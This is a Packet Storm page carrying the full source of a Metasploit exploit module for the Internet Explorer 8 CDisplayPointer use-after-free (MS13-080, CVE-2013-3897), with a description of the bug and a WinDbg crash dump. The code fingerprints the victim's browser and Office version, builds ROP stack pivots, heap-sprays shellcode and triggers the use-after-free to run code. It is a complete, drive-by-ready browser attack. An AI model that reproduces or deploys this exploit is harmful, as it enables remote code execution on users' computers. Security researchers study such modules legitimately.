This Metasploit module exploits a vulnerability found in Microsoft Internet Explorer. It was originally found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893, except this was kept out of the public eye by multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer object can be forced by using an "Unslect" (other approaches also apply), but a reference of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call, because it is still trying to use that to update CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash finally occurs due to accessing the freed memory. By controlling this freed memory, it is possible to achieve arbitrary code execution under the context of the user.
7d3da8e36359561e1c8d13165a5408e5##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
multiple research companies and the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
"onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
If we use a select() function for the CTextArea element, two important things will happen:
a CDisplayPointer object will be created for CTextArea, and it will also trigger another
event called "onselect". The "onselect" event will allow us to set up for the actual event
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer
object can be forced by using an "Unslect" (other approaches also apply), but a reference
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
the CDoc::GetLineInfo call, because it is still trying to use that to update
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
finally occurs due to accessing the freed memory. By controlling this freed memory, it is
possible to achieve arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-3897' ],
[ 'OSVDB', '98207' ],
[ 'MSB', 'MS13-080' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', {} ],
[ 'IE 8 on Windows 7', {} ]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
# Jsunpack first received a sample to analyze on Sep 12 2013.
# MSFT patched this on Oct 8th.
'DisclosureDate' => "Oct 08 2013",
'DefaultTarget' => 0))
end
def get_check_html
%Q|<html>
<script>
#{js_os_detect}
function os() {
var detect = window.os_detect.getVersion();
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
return os_string;
}
function dll() {
var checka = 0;
var checkb = 0;
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}
try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}
if ((typeof checka) == "object" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2010_str}";
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2007_str}";
}
return "#{@js_default_str}";
}
window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
}
</script>
</html>
|
end
def junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def get_payload(target_info)
rop_payload = ''
os = target_info[:os]
dll_used = ''
case target_info[:dll]
when @js_office_2007_str
dll_used = "Office 2007"
pivot =
[
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
junk, # ESI due to POPAD
junk, # EBP due to POPAD
junk,
junk, # EBX due to POPAD
junk, # EDX due to POPAD
junk, # ECX due to POPAD
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
0x51bd81db, # ROP NOP
junk # Padding for the retn 4 from the stack pivot
].pack("V*")
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})
when @js_office_2010_str
dll_used = "Office 2010"
pivot =
[
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4
junk,
junk,
junk,
junk,
junk,
0x51BE7E9A, # ROP NOP
junk # Padding for the retn 4 from the stack pivot
].pack("V*")
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})
when @js_default_str
if target_info[:os] =~ /windows xp/i
# XP uses msvcrt.dll
dll_used = "msvcrt"
pivot =
[
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret
].pack("V*")
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
else
# Assuming this is Win 7, and we'll use Java 6 ROP
dll_used = "Java"
pivot =
[
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn
junk # Padding for the POP ECX
].pack("V*")
rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
end
end
print_status("Target uses #{os} with #{dll_used} DLL")
rop_payload
end
def get_sploit_html(target_info)
os = target_info[:os]
js_payload = ''
if os =~ /Windows (7|XP) MSIE 8\.0/
js_payload = Rex::Text.to_unescape(get_payload(target_info))
else
print_error("Target not supported by this attack.")
return ""
end
%Q|<html>
<head>
<script>
#{js_property_spray}
sprayHeap({shellcode:unescape("#{js_payload}")});
var earth = document;
var data = "";
for (i=0; i<17; i++) {
if (i==7) { data += unescape("%u2020%u2030"); }
else { data += "\\u4141\\u4141"; }
}
data += "\\u4141";
function butterfly() {
for(i=0; i<20; i++) {
var effect = earth.createElement("div");
effect.className = data;
}
}
function kaiju() {
var godzilla = earth.createElement("textarea");
var minilla = earth.createElement("pre");
earth.body.appendChild(godzilla);
earth.body.appendChild(minilla);
godzilla.appendChild(minilla);
godzilla.onselect=function(e) {
minilla.swapNode(earth.createElement("div"));
}
var battleStation = false;
var war = new Array();
godzilla.onpropertychange=function(e) {
if (battleStation == true) {
for (i=0; i<50; i++) {
war.push(earth.createElement("span"));
}
}
earth.execCommand("Unselect");
if (battleStation == true) {
for (i=0; i < war.length; i++) {
war[i].className = data;
}
}
else {
battleStation = true;
}
}
butterfly();
godzilla.select();
}
</script>
</head>
<body onload='kaiju()'>
</body>
</html>
|
end
def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
end
html = get_check_html
print_status("Checking out target...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
def exploit
@js_office_2007_str = Rex::Text.rand_text_alpha(4)
@js_office_2010_str = Rex::Text.rand_text_alpha(5)
@js_default_str = Rex::Text.rand_text_alpha(6)
super
end
end
=begin
+hpa this for debugging or you might not see a crash at all :-)
0:005> r
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!QIClassID+0x30:
6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=????????
0:005> u
mshtml!QIClassID+0x30:
6d6dc123 8b03 mov eax,dword ptr [ebx]
6d6dc125 8365e800 and dword ptr [ebp-18h],0
6d6dc129 8d4de8 lea ecx,[ebp-18h]
6d6dc12c 51 push ecx
6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170)
6d6dc132 53 push ebx
6d6dc133 bf02400080 mov edi,80004002h
6d6dc138 ff10 call dword ptr [eax]
=end
© 2015 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!